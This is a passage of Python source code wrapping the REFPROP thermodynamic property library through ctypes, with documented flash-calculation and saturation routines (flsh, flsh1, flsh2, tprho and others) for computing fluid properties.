_t.value, _kph.value = icomp, t, kph\n\n _rpcsatk_(byref(_icomp), byref(_t), byref(_kph), byref(_p), byref(_D),\n byref(_csat), byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(icomp = icomp, t = t, kph = kph, p = _p.value, D = _D.value,\n csat = _csat.value, ierr = _ierr.value, herr = _herr.value,\n defname = 'csatk')\n \n\ndef dptsatk(icomp, t, kph=2):\n '''Compute the heat capacity and dP/dT along the saturation line as a\n function of temperature for a given component. See also subroutine\n CSATK.\n\n inputs:\n icomp--component number in mixture (1..nc); 1 for pure fluid\n t--temperature [K]\n kph--phase flag:\n 1 = liquid calculation\n 2 = vapor calculation\n outputs:\n p--saturation pressure [kPa]\n D--saturation molar density [mol/L]\n csat--saturation heat capacity [J/mol-K] (same as that called from\n CSATK)\n dpdt--dp/dT along the saturation line [kPa/K]\n (this is not dp/dt \"at\" the saturation line for the single phase\n state, but the change in saturated vapor pressure as the\n saturation temperature changes.)'''\n\n _inputerrorcheck(locals())\n _icomp.value, _t.value, _kph.value = icomp, t, kph\n\n _rpdptsatk_(byref(_icomp), byref(_t), byref(_kph), byref(_p),\n byref(_D), byref(_csat), byref(_dpdt), byref(_ierr),\n byref(_herr), c_long(255))\n\n return _prop(icomp = icomp, t = t, kph = kph, p = _p.value, D = _D.value,\n csat = _csat.value, dpdt = _dpdt.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'dptsatk')\n \n \ndef cv2pk(icomp, t, D=0):\n '''Compute the isochoric heat capacity in the two phase (liquid+vapor)\n region.\n\n inputs:\n icomp--component number in mixture (1..nc); 1 for pure fluid\n t--temperature [K]\n D--density [mol/l] if known\n If D=0, then a saturated liquid state is assumed.\n outputs:\n cv2p--isochoric two-phase heat capacity [J/mol-K]\n csat--saturation heat capacity [J/mol-K]\n (Although there is already a csat routine in REFPROP, it is also\n returned here. However, the calculation speed is slower than\n csat.)'''\n\n _inputerrorcheck(locals())\n _icomp.value, _t.value, _D.value = icomp, t, D\n \n _rpcv2pk_(byref(_icomp), byref(_t), byref(_D), byref(_cv2p),\n byref(_csat), byref(_ierr), byref(_herr), c_long(255))\n \n return _prop(icomp = icomp, t = t, D = D, cv2p = _cv2p.value,\n csat = _csat.value, ierr = _ierr.value, herr = _herr.value,\n defname = 'cv2pk')\n \n \ndef tprho(t, p, x, kph=2, kguess=0, D=0):\n '''Iterate for density as a function of temperature, pressure, and\n composition for a specified phase.\n\n The single-phase temperature-pressure flash is called many times by\n other routines, and has been optimized for speed; it requires a specific\n calling sequence.\n\n ***********************************************************************\n WARNING:\n Invalid densities will be returned for T & P outside range of validity,\n i.e., pressure > melting pressure, pressure less than saturation\n pressure for kph=1, etc.\n ***********************************************************************\n inputs:\n t--temperature [K]\n p--pressure [kPa]\n x--composition [array of mol frac]\n kph--phase flag:\n 1 = liquid\n 2 = vapor\n 0 = stable phase--NOT ALLOWED (use TPFLSH)\n (unless an initial guess is supplied for rho)\n -1 = force the search in the liquid phase\n -2 = force the search in the vapor phase\n kguess--input flag:\n 1 = first guess for D provided\n 0 = no first guess provided\n D--first guess for molar density [mol/L], only if kguess = 1\n outputs:\n D--molar density [mol/L]'''\n\n _inputerrorcheck(locals())\n _t.value, _p.value, _kph.value = t, p, kph\n _kguess.value, _D.value = kguess, D\n for each in range(len(x)): _x[each] = x[each]\n\n _rptprho_(byref(_t), byref(_p), _x, byref(_kph), byref(_kguess),\n byref(_D), byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(t = t, p = p, x = x, kph = kph, kguess = kguess, D = _D.value,\n ierr = _ierr.value, herr = _herr.value, defname = 'tprho')\n \n \ndef flsh(routine, var1, var2, x, kph=1):\n '''Flash calculation given two independent variables and bulk\n composition\n\n These routines accept both single-phase and two-phase states as the\n input; if the phase is known, the specialized routines are faster\n\n inputs:\n routine--set input variables:\n 'TP'--temperature; pressure\n 'TD'--temperature; Molar Density\n 'TH'--temperature; enthalpy\n 'TS'--temperature; entropy\n 'TE'--temperature; internal energy\n 'PD'--pressure; molar density\n 'PH'--pressure; enthalpy\n 'PS'--pressure; entropy\n 'PE'--pressure; internal energy\n 'HS'--enthalpy; entropy\n 'ES'--internal energy; entropy\n 'DH'--molar density; enthalpy\n 'DS'--molar density; entropy\n 'DE'--molar density; internal energy\n 'TQ'--temperature; vapour quality\n 'PQ'--pressure; vapour qaulity\n var1, var2--two of the following as indicated by the routine input:\n t--temperature [K]\n p--pressure [kPa]\n e--internal energy [J/mol]\n h--enthalpy [J/mol]\n s--entropy [[J/mol-K]\n q--vapor quality on molar basis [moles vapor/total moles]\n q = 0 indicates saturated liquid\n 0 < q < 1 indicates 2 phase state\n q = 1 indicates saturated vapor\n q < 0 or q > 1 are not allowed and will result in warning\n x--overall (bulk) composition [array of mol frac]\n kph--phase flag:\n N.B. only applicable for routine setting 'TE', 'TH' and 'TS'\n 1=liquid,\n 2=vapor in equilibrium with liq,\n 3=liquid in equilibrium with solid,\n 4=vapor in equilibrium with solid.\n outputs:\n t--temperature [K]\n p--pressure [kPa]\n D--overall (bulk) molar density [mol/L]\n Dliq--molar density [mol/L] of the liquid phase\n Dvap--molar density [mol/L] of the vapor phase\n if only one phase is present, Dl = Dv = D\n xliq--composition of liquid phase [array of mol frac]\n xvap--composition of vapor phase [array of mol frac]\n if only one phase is present, x = xliq = xvap\n q--vapor quality on a MOLAR basis [moles vapor/total moles]\n q < 0 indicates subcooled (compressed) liquid\n q = 0 indicates saturated liquid\n 0 < q < 1 indicates 2 phase state\n q = 1 indicates saturated vapor\n q > 1 indicates superheated vapor\n q = 998 superheated vapor, but quality not defined (t > Tc)\n q = 999 indicates supercritical state (t > Tc) and (p > Pc)\n e--overall (bulk) internal energy [J/mol]\n h--overall (bulk) enthalpy [J/mol]\n s--overall (bulk) entropy [J/mol-K]\n cv--isochoric (constant V) heat capacity [J/mol-K]\n cp--isobaric (constant p) heat capacity [J/mol-K]\n w--speed of sound [m/s]\n cp, cv and w are not defined for 2-phase states in such cases'''\n\n _inputerrorcheck(locals())\n _kph.value = kph\n for each in range(len(x)): _x[each] = x[each]\n if routine.upper() == 'TP':\n _t.value, _p.value = var1, var2\n \n _rptpflsh_(byref(_t), byref(_p), _x, byref(_D), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_e), byref(_h),\n byref(_s), byref(_cv), byref(_cp), byref(_w), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'TD':\n _t.value, _D.value = var1, var2\n\n _rptdflsh_(byref(_t), byref(_D), _x, byref(_p), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_e), byref(_h),\n byref(_s), byref(_cv), byref(_cp), byref(_w), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'TH':\n _t.value, _h.value = var1, var2\n\n _rpthflsh_(byref(_t), byref(_h), _x, byref(_kph), byref(_p), byref(_D),\n byref(_Dliq), byref(_Dvap), _xliq, _xvap, byref(_q),\n byref(_e), byref(_s), byref(_cv), byref(_cp), byref(_w),\n byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'TS':\n _t.value, _s.value = var1, var2\n\n _rptsflsh_(byref(_t), byref(_s), _x, byref(_kph), byref(_p), byref(_D),\n byref(_Dliq), byref(_Dvap), _xliq, _xvap, byref(_q),\n byref(_e), byref(_h), byref(_cv), byref(_cp), byref(_w),\n byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'TE':\n _t.value, _e.value = var1, var2\n\n _rpteflsh_(byref(_t), byref(_e), _x, byref(_kph), byref(_p), byref(_D),\n byref(_Dliq), byref(_Dvap), _xliq, _xvap, byref(_q),\n byref(_h), byref(_s), byref(_cv), byref(_cp), byref(_w),\n byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PD':\n _p.value, _D.value = var1, var2\n\n _rppdflsh_(byref(_p), byref(_D), _x, byref(_t), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_e), byref(_h),\n byref(_s), byref(_cv), byref(_cp), byref(_w), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'PH':\n _p.value, _h.value = var1, var2\n \n _rpphflsh_(byref(_p), byref(_h), _x, byref(_t), byref(_D),\n byref(_Dliq), byref(_Dvap), _xliq, _xvap, byref(_q),\n byref(_e), byref(_s), byref(_cv), byref(_cp), byref(_w),\n byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PS':\n _p.value, _s.value = var1, var2\n\n _rppsflsh_(byref(_p), byref(_s), _x, byref(_t), byref(_D),\n byref(_Dliq), byref(_Dvap), _xliq, _xvap, byref(_q),\n byref(_e), byref(_h), byref(_cv), byref(_cp), byref(_w),\n byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PE':\n _p.value, _e.value = var1, var2\n \n _rppeflsh_(byref(_p), byref(_e), _x, byref(_t), byref(_D), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_h), byref(_s),\n byref(_cv), byref(_cp), byref(_w), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'HS':\n _h.value, _s.value = var1, var2\n \n _rphsflsh_(byref(_h), byref(_s), _x, byref(_t), byref(_p), byref(_D),\n byref(_Dliq), byref(_Dvap), _xliq, _xvap, byref(_q), \n byref(_e), byref(_cv), byref(_cp), byref(_w), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'ES':\n _e.value, _s.value = var1, var2\n \n _rpesflsh_(byref(_e), byref(_s), _x, byref(_t), byref(_p), byref(_D),\n byref(_Dliq), byref(_Dvap), _xliq, _xvap, byref(_q),\n byref(_h), byref(_cv), byref(_cp), byref(_w), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'DH':\n _D.value, _h.value = var1, var2\n \n _rpdhflsh_(byref(_D), byref(_h), _x, byref(_t), byref(_p), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_e), byref(_s),\n byref(_cv), byref(_cp), byref(_w), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'DS':\n _D.value, _s.value = var1, var2\n\n _rpdsflsh_(byref(_D), byref(_s), _x, byref(_t), byref(_p), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_e), byref(_h),\n byref(_cv), byref(_cp), byref(_w), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'DE':\n _D.value, _e.value = var1, var2\n\n _rpdeflsh_(byref(_D), byref(_e), _x, byref(_t), byref(_p), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_h), byref(_s),\n byref(_cv), byref(_cp), byref(_w), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'TQ':\n _t.value, _q.value = var1, var2\n\n _rptqflsh_(byref(_t), byref(_q), _x, byref(c_long(1)), byref(_p),\n byref(_D), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_e), byref(_h), byref(_s), byref(_cv), byref(_cp),\n byref(_w), byref(_ierr), byref(_herr), c_long(255))\n \n elif routine.upper() == 'PQ':\n _p.value, _q.value = var1, var2\n\n _rppqflsh_(byref(_p), byref(_q), _x, byref(c_long(1)), byref(_t),\n byref(_D), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_e), byref(_h), byref(_s), byref(_cv), byref(_cp),\n byref(_w), byref(_ierr), byref(_herr), c_long(255))\n\n else: raise RefpropinputError('Incorrect \"routine\" input, ' + str(routine) +\n ' is an invalid input')\n\n xliq = normalize([_xliq[each] for each in range(_nc_rec.record)])['x']\n xvap = normalize([_xvap[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(x) == 1:\n if len(x) != len(xliq):\n xliq = [xliq[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xvap):\n xvap = [xvap[_purefld_rec.record['icomp'] - 1]]\n \n if _cp.value < 0:\n return _prop(x = x, p = _p.value, q = _q.value, kph = kph, t = _t.value,\n D = _D.value, Dliq = _Dliq.value, Dvap = _Dvap.value,\n xliq = xliq, xvap = xvap, e = _e.value, h = _h.value,\n s = _s.value, ierr = _ierr.value, herr = _herr.value, \n defname = 'flsh')\n else:\n return _prop(x = x, p = _p.value, q = _q.value, kph = kph, t = _t.value,\n D = _D.value, Dliq = _Dliq.value, Dvap = _Dvap.value,\n xliq = xliq, xvap = xvap, e = _e.value, h = _h.value,\n s = _s.value, cv = _cv.value, cp = _cp.value, w = _w.value,\n ierr = _ierr.value, herr = _herr.value, defname = 'flsh')\n\n \ndef flsh1(routine, var1, var2, x, kph=1, Dmin=0, Dmax=0):\n '''Flash calculation given two independent variables and bulk\n composition\n\n These routines accept only single-phase states and outside critical\n region as inputs. They will be faster than the corresponding general\n routines, but will fail if called with an incorrect phase specification.\n The phase-specific subroutines also do not check limits, so may fail if\n called outside the range of the equation of state.\n\n inputs:\n routine--set input variables:\n 'TH'--temperature; enthalpy*\n 'TS'--temperature; entropy*\n 'TE'--temperature; energy*\n 'PD'--pressure; molar density\n 'PH'--pressure; entalphy\n 'PS'--pressure; entropy\n 'PE'--pressure; internal energy*\n 'HS'--enthalpy; entropy*\n 'DH'--molar density; enthalpy*\n 'DS'--molar density; entropy*\n 'DE'--molar density; internal energy*\n * routine not supported in Windows\n var1, var2--two of the following as indicated by the routine input:\n t--temperature [K]\n p--pressure [kPa]\n e--internal energy [J/mol]\n h--enthalpy [J/mol]\n s--entropy [[J/mol-K]\n x--overall (bulk) composition [array of mol frac]\n kph--phase flag:\n N.B. only applicable for routine setting 'TE', 'TH' and 'TS'\n 1 = liquid,\n 2 = vapor\n Dmin--lower bound on density [mol/L]\n Dmax--upper bound on density [mol/L]\n outputs:\n t--temperature [K]\n D--overall (bulk) molar density [mol/L]'''\n defname = 'flsh1'\n\n _inputerrorcheck(locals())\n _kph.value, _Dmin.value, _Dmax.value = kph, Dmin, Dmax\n for each in range(len(x)): _x[each] = x[each]\n if routine.upper() == 'TH':\n _t.value, _h.value = var1, var2\n \n _rpthfl1_(byref(_t), byref(_h), _x, byref(_Dmin), byref(_Dmax),\n byref(_D), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'TS':\n _t.value, _s.value = var1, var2\n\n _rptsfl1_(byref(_t), byref(_s), _x, byref(_Dmin), byref(_Dmax),\n byref(_D), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'TE':\n _t.value, _e.value = var1, var2\n \n _rptefl1_(byref(_t), byref(_e), _x, byref(_Dmin), byref(_Dmax),\n byref(_D), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PD':\n _p.value, _D.value = var1, var2\n \n _rppdfl1_(byref(_p), byref(_D), _x, byref(_t), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'PH':\n _p.value, _h.value = var1, var2\n \n _rpphfl1_(byref(_p), byref(_h), _x, byref(_kph), byref(_t), byref(_D),\n byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PS':\n _p.value, _s.value = var1, var2\n \n _rppsfl1_(byref(_p), byref(_s), _x, byref(_kph), byref(_t), byref(_D),\n byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PE': #wrong value return\n _p.value, _e.value = var1, var2\n \n _rppefl1_(byref(_p), byref(_e), _x, byref(_kph), byref(_t), byref(_D),\n byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'HS':\n _h.value, _s.value = var1, var2\n\n _rphsfl1_(byref(_h), byref(_s), _x, byref(_Dmin), byref(_Dmax),\n byref(_t), byref(_D), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'DH':\n _D.value, _h.value = var1, var2\n \n _rpdhfl1_(byref(_D), byref(_h), _x, byref(_t), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'DS':\n _D.value, _s.value = var1, var2\n\n _rpdsfl1_(byref(_D), byref(_s), _x, byref(_t), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'DE':\n _D.value, _e.value = var1, var2\n \n _rpdefl1_(byref(_D), byref(_e), _x, byref(_t), byref(_ierr),\n byref(_herr), c_long(255))\n\n else: raise RefpropinputError('Incorrect \"routine\" input, ' + str(routine) +\n ' is an invalid input')\n if routine.upper() == 'TH':\n return _prop(x = x, t = var1, Dmin = _Dmin.value, Dmax = _Dmax.value,\n D = _D.value, h = var2, ierr = _ierr.value, herr = _herr.value,\n defname = defname)\n elif routine.upper() == 'TS':\n return _prop(x = x, t = var1, D = _D.value, s = var2, Dmin = _Dmin.value,\n Dmax = _Dmax.value, ierr = _ierr.value, herr = _herr.value,\n defname = defname)\n elif routine.upper() == 'TE':\n return _prop(x = x, t = var1, D = _D.value, e = var2, Dmin = _Dmin.value,\n Dmax = _Dmax.value, ierr = _ierr.value, herr = _herr.value,\n defname = defname)\n elif routine.upper() == 'PD':\n return _prop(x = x, t = _t.value, D = var2, kph = kph, p = var1,\n ierr = _ierr.value, herr = _herr.value, defname = defname)\n elif routine.upper() == 'PH':\n return _prop(x = x, t = _t.value, D = _D.value, kph = kph, p = var1,\n h = var2, ierr = _ierr.value, herr = _herr.value,\n defname = defname)\n elif routine.upper() == 'PS':\n return _prop(x = x, t = _t.value, D = _D.value, kph = kph, p = var1,\n s = var2, ierr = _ierr.value, herr = _herr.value,\n defname = defname)\n elif routine.upper() == 'PE':\n return _prop(x = x, t = _t.value, D = _D.value, kph = kph, p = var1,\n e = var2, ierr = _ierr.value, herr = _herr.value,\n defname = defname)\n elif routine.upper() == 'HS':\n return _prop(x = x, t = _t.value, D = _D.value, h = var1, s = var2,\n ierr = _ierr.value, herr = _herr.value, Dmin = _Dmin.value,\n Dmax = _Dmax.value, defname = defname)\n elif routine.upper() == 'DH':\n return _prop(x = x, t = _t.value, D = var1, h = var2, ierr = _ierr.value,\n herr = _herr.value, defname = defname)\n elif routine.upper() == 'DS':\n return _prop(x = x, t = _t.value, D = var1, s = var2, ierr = _ierr.value,\n herr = _herr.value, defname = defname)\n elif routine.upper() == 'DE':\n return _prop(x = x, t = _t.value, D = var1, e = var2, ierr = _ierr.value,\n herr = _herr.value, defname = defname)\n \ndef flsh2(routine, var1, var2, x, kq=1, ksat=0, tbub=0, tdew=0, pbub=0, pdew=0,\n Dlbub=0, Dvdew=0, xbub=None, xdew=None):\n '''Flash calculation given two independent variables and bulk composition\n\n These routines accept only two-phase (liquid + vapor) states as inputs.\n They will be faster than the corresponding general routines, but will fail if\n called with an incorrect phase specification.\n The phase-specific subroutines also do not check limits, so may fail if\n called outside the range of the equation of state.\n\n Some two-phase flash routines have the option to pass the dew and bubble\n point conditions as inputs if these values are known\n (from a previous call to SATT or SATP, for example), these two-phase routines\n will be significantly faster than the corresponding\n general FLSH routines described above. Otherwise, the general routines will\n be more reliable.\n\n inputs:\n routine--set input variables:\n 'TP'--temperature; pressure*\n 'DH'--molar density; enthalpy*\n 'DS'--molar density; entropy*\n 'DE'--molar density; internal energy*\n 'TH'--temperature; enthalpy*\n 'TS'--temperature; entropy*\n 'TE'--temperature; internal energy*\n 'TD'--temperature; Molar Density*\n 'PD'--pressure; molar density*\n 'PH'--pressure; entalphy*\n 'PS'--pressure; entropy*\n 'PE'--pressure; internal energy*\n 'TQ'--temperature; vapour quality*\n 'PQ'--pressure; vapour qaulity*\n 'DQ'--molar density; vapour quality*/**\n * NOT supported with Windows\n ** return value is incorrect\n var1, var2--two of the following as indicated by the routine input:\n t--temperature [K]\n p--pressure [kPa]\n D--molar density [mol/L]\n e--internal energy [J/mol]\n h--enthalpy [J/mol]\n s--entropy [[J/mol-K]\n q--vapor quality on molar basis [moles vapor/total moles]\n x--overall (bulk) composition [array of mol frac]\n kq--flag specifying units for input quality\n NB only for routine (TQ and PQ)\n kq = 1 quality on MOLAR basis [moles vapor/total moles]\n kq = 2 quality on MASS basis [mass vapor/total mass]\n ksat--flag for bubble and dew point limits\n NB only for routine (TH, TS, TE, TD, PD, PH, PS, PE, TQ and PQ)\n 0 = dew and bubble point limits computed within routine\n 1 = must provide values for following:\n tbub--bubble point temperature [K] at (p,x=z)\n NB only for routine (PD, PH, PS, PE and PQ)\n tdew--dew point temperature [K] at (p,y=z)\n NB only for routine (PD, PH, PS, PE and PQ)\n pbub--bubble point pressure [kPa] at (t,x=z)\n NB only for routine (TH, TS, TE, TD and TQ)\n pdew--dew point pressure [kPa] at (t,y=z)\n NB only for routine (TH, TS, TE, TD and TQ)\n Dlbub--liquid density [mol/L] at bubble point\n NB only for routine (TH, TS, TE, TD, PD, PH, PS, PE, TQ and PQ)\n Dvdew--vapor density [mol/L] at dew point\n NB only for routine (TH, TS, TE, TD, PD, PH, PS, PE, TQ and PQ)\n xbub--vapor composition [array of mol frac] at bubble point\n NB only for routine (TH, TS, TE, TD, PD, PH, PS, PE, TQ and PQ)\n xdew--liquid composition [array of mol frac] at dew point\n NB only for routine (TH, TS, TE, TD, PD, PH, PS, PE, TQ and PQ)\n outputs:\n t--temperature [K]\n p--pressure [kPa]\n Dliq--molar density [mol/L] of the liquid phase\n Dvap--molar density [mol/L] of the vapor phase\n if only one phase is present, Dl = Dv = D\n xliq--composition of liquid phase [array of mol frac]\n xvap--composition of vapor phase [array of mol frac]\n if only one phase is present, x = xliq = xvap\n q--vapor quality on a MOLAR basis [moles vapor/total moles]\n tbub--bubble point temperature [K] at (p,x=z)\n NB only for routine (PD, PH, PS, PE and PQ)\n tdew--dew point temperature [K] at (p,y=z)\n NB only for routine (PD, PH, PS, PE and PQ)\n pbub--bubble point pressure [kPa] at (t,x=z)\n NB only for routine (TH, TS, TE, TD and TQ)\n pdew--dew point pressure [kPa] at (t,y=z)\n NB only for routine (TH, TS, TE, TD and TQ)\n Dlbub--liquid density [mol/L] at bubble point\n NB only for routine (TH, TS, TE, TD, PD, PH, PS, PE, TQ and PQ)\n Dvdew--vapor density [mol/L] at dew point\n NB only for routine (TH, TS, TE, TD, PD, PH, PS, PE, TQ and PQ)\n xbub--vapor composition [array of mol frac] at bubble point\n NB only for routine (TH, TS, TE, TD, PD, PH, PS, PE, TQ and PQ)\n xdew--liquid composition [array of mol frac] at dew point\n NB only for routine (TH, TS, TE, TD, PD, PH, PS, PE, TQ and PQ)'''\n defname = 'flsh2'\n\n _inputerrorcheck(locals())\n for each in range(len(x)):\n _x[each] = x[each]\n if xdew: _xdew[each] = xdew[each]\n if xbub: _xbub[each] = xbub[each]\n _ksat.value, _tbub.value, _kq.value = ksat, tbub, kq\n _tdew.value, _pbub.value, _pdew.value = tdew, pbub, pdew\n _Dlbub.value, _Dvdew.value = Dlbub, Dvdew\n if routine.upper() == 'TP':\n _t.value, _p.value = var1, var2\n \n _rptpfl2_(byref(_t), byref(_p), _x, byref(_Dliq), byref(_Dvap), _xliq,\n _xvap, byref(_q), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'DH':\n _D.value, _h.value = var1, var2\n\n _rpdhfl2_(byref(_D), byref(_h), _x, byref(_t), byref(_p), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'DS':\n _D.value, _s.value = var1, var2\n\n _rpdsfl2_(byref(_D), byref(_s), _x, byref(_t), byref(_p), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'DE':\n _D.value, _e.value = var1, var2\n \n _rpdefl2_(byref(_D), byref(_e), _x, byref(_t), byref(_p), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_q), byref(_ierr),\n byref(_herr), c_long(255))\n\n elif routine.upper() == 'TH':\n _t.value, _h.value = var1, var2\n \n _rpthfl2_(byref(_t), byref(_h), _x, byref(_ksat), byref(_pbub),\n byref(_pdew), byref(_Dlbub), byref(_Dvdew), _xbub, _xdew,\n byref(_p), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_q), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'TS':\n _t.value, _s.value = var1, var2\n \n _rptsfl2_(byref(_t), byref(_s), _x, byref(_ksat), byref(_pbub),\n byref(_pdew), byref(_Dlbub), byref(_Dvdew), _xbub, _xdew,\n byref(_p), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_q), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'TE':\n _t.value, _e.value = var1, var2\n \n _rptefl2_(byref(_t), byref(_e), _x, byref(_ksat), byref(_pbub),\n byref(_pdew), byref(_Dlbub), byref(_Dvdew), _xbub, _xdew,\n byref(_p), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_q), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'TD':\n _t.value, _D.value = var1, var2\n \n _rptdfl2_(byref(_t), byref(_D), _x, byref(_ksat), byref(_pbub),\n byref(_pdew), byref(_Dlbub), byref(_Dvdew), _xbub, _xdew,\n byref(_p), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_q), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PD':\n _p.value, _D.value = var1, var2\n\n _rppdfl2_(byref(_p), byref(_D), _x, byref(_ksat), byref(_tbub),\n byref(_tdew), byref(_Dlbub), byref(_Dvdew), _xbub, _xdew,\n byref(_t), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_q), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PH':\n _p.value, _h.value = var1, var2\n \n _rpphfl2_(byref(_p), byref(_h), _x, byref(_ksat), byref(_tbub),\n byref(_tdew), byref(_Dlbub), byref(_Dvdew), _xbub, _xdew,\n byref(_t), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_q), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PS':\n _p.value, _s.value = var1, var2\n \n _rppsfl2_(byref(_p), byref(_s), _x, byref(_ksat), byref(_tbub),\n byref(_tdew), byref(_Dlbub), byref(_Dvdew), _xbub, _xdew,\n byref(_t), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_q), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PE':\n _p.value, _e.value = var1, var2\n \n _rppefl2_(byref(_p), byref(_e), _x, byref(_ksat), byref(_tbub),\n byref(_tdew), byref(_Dlbub), byref(_Dvdew), _xbub, _xdew,\n byref(_t), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_q), byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'TQ':\n _t.value, _q.value = var1, var2\n \n _rptqfl2_(byref(_t), byref(_q), _x, byref(_kq), byref(_ksat),\n byref(_pbub), byref(_pdew), byref(_Dlbub), byref(_Dvdew),\n _xbub, _xdew, byref(_p), byref(_Dliq), byref(_Dvap), _xliq,\n _xvap, byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'PQ':\n _p.value, _q.value = var1, var2\n \n _rppqfl2_(byref(_p), byref(_q), _x, byref(_kq), byref(_ksat),\n byref(_tbub), byref(_tdew), byref(_Dlbub), byref(_Dvdew),\n _xbub, _xdew, byref(_t), byref(_Dliq), byref(_Dvap), _xliq,\n _xvap, byref(_ierr), byref(_herr), c_long(255))\n\n elif routine.upper() == 'DQ':\n _D.value, _q.value = var1, var2\n\n raise RefproproutineError('function \"DQFL2\" unsupported in Linux')\n ##~ _rpdqfl2_(byref(_D), byref(_q), _x, byref(_kq), byref(_t),\n #~ byref(_p), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n #~ byref(_ierr), byref(_herr), 255)\n\n else: raise RefpropinputError('Incorrect \"routine\" input, ' +\n str(routine) +\n ' is an invalid input')\n xliq = normalize([_xliq[each] for each in range(_nc_rec.record)])['x']\n xvap = normalize([_xvap[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(x) == 1:\n if len(x) != len(xliq):\n xliq = [xliq[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xvap):\n xvap = [xvap[_purefld_rec.record['icomp'] - 1]]\n if routine.upper() in ['TH', 'TS', 'TE', 'TD', 'PD', 'PH', 'PS', 'PE',\n 'TQ', 'PQ', 'DQ']:\n xdew = normalize([_xdew[each] for each in range(_nc_rec.record)])['x']\n xbub = normalize([_xbub[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(x) == 1:\n if len(x) != len(xdew):\n xdew = [xdew[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xbub):\n xbub = [xbub[_purefld_rec.record['icomp'] - 1]]\n if routine.upper() == 'TP':\n return _prop(x = x, t = var1, p = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, ierr = _ierr.value, herr = _herr.value,\n defname = defname)\n elif routine.upper() == 'DH':\n return _prop(x = x, D = var1, h = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value,t = _t.value, p = _p.value,\n ierr = _ierr.value, herr = _herr.value, defname = defname)\n elif routine.upper() == 'DS':\n return _prop(x = x, D = var1, s = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, t = _t.value, p = _p.value,\n ierr = _ierr.value, herr = _herr.value, defname = defname)\n elif routine.upper() == 'DE':\n return _prop(x = x, D = var1, e = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = 